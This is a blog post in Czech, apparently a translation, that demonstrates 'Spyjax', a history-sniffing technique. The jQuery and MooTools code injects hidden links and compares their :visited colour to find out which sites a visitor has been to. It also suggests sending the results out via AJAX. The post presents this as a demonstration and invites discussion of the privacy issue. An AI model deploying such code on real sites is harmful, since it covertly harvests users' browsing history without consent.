AJAX For Evil:Spyjax s jQuery

Minulý rok jsem napsal populární příspěvek s názvem AJAX For Evil:Spyjax, když jsem popsal techniku ​​zvanou „Spyjax“:

Udělal jsem si čas na demonstraci této techniky pomocí jQuery.

Zobrazit základní DemoView Advanced Demo

CSS

a.checkme			{ color:#00ff00; }
a.checkme:visited	{ color:#ff0000; }

Nejdůležitější částí CSS je rozdíl v barvě ":link" a ":visited"; metoda, pomocí které můžeme zjistit, zda byla stránka navštívena, je barva odkazu „:navštíveno“.

JavaScript jQuery

//when the page is ready
$(document).ready(function() {
	//the list of domains to check and an array which will store hits
	var domains = ['davidwalsh.name','css-tricks.com','scriptandstyle.com','cnn.com','digg.com'];
	var visited = [];
	//for every domain...
	$.each(domains,function() {
		//inject a link into page
		var a = $('').attr({
			href: 'http://' + this,
			'class': 'checkme'
		}).appendTo(document.body);
		//check the color of the link
		if($(a).css('color') == '#ff0000' || $(a).css('color') == 'rgb(255, 0, 0)') { //either format of color
			$(a).addClass('highlight');
			visited.push(this);
		}
		//remove from the page -- no longer need the links
		a.remove();
	});
	if(visited.length) {
		//save via ajax!  shady!
		//display items on the page based on "hits"
	}
});

Začneme vložením hromady skrytých odkazů na stránku (bez vědomí uživatele). U každého odkazu, který jsme vložili na stránku, náš JavaScript jQuery uchopí barvu odkazu – pokud se barva odkazu shoduje s barvou odkazu „:navštíveno“, kterou jsme nastavili pomocí CSS, našli jsme web, na kterém uživatel byl. Samozřejmě můžeme s těmito informacemi dělat, co chceme, včetně jejich uložení přes AJAX. Proč? Pokud víme, že uživatel byl na Digg.com, možná místo ikony Reddit zobrazíme ikonu „sdílení“ Digg.

JavaScript MooTools

var domains = ['davidwalsh.name','css-tricks.com','scriptandstyle.com','cnn.com','digg.com'];
var visited = [];
domains.each(function(url) {
	var anchor = new Element('a', {
		href: 'http://' + url,
		'class': 'checkme',
		html: url
	}).inject(document.body);
	if(anchor.getStyle('color') == '#ff0000') {
		visited.push(url);
	}
	anchor.dispose();
});

Výše uvedený kód provádí stejný úkol pomocí MooTools, jak je uvedeno v mém předchozím příspěvku Spyjax.

Zobrazit základní DemoView Advanced Demo

Jaký je váš názor na Spyjax? Neškodný? Závažné porušení soukromí? Řekni mi to!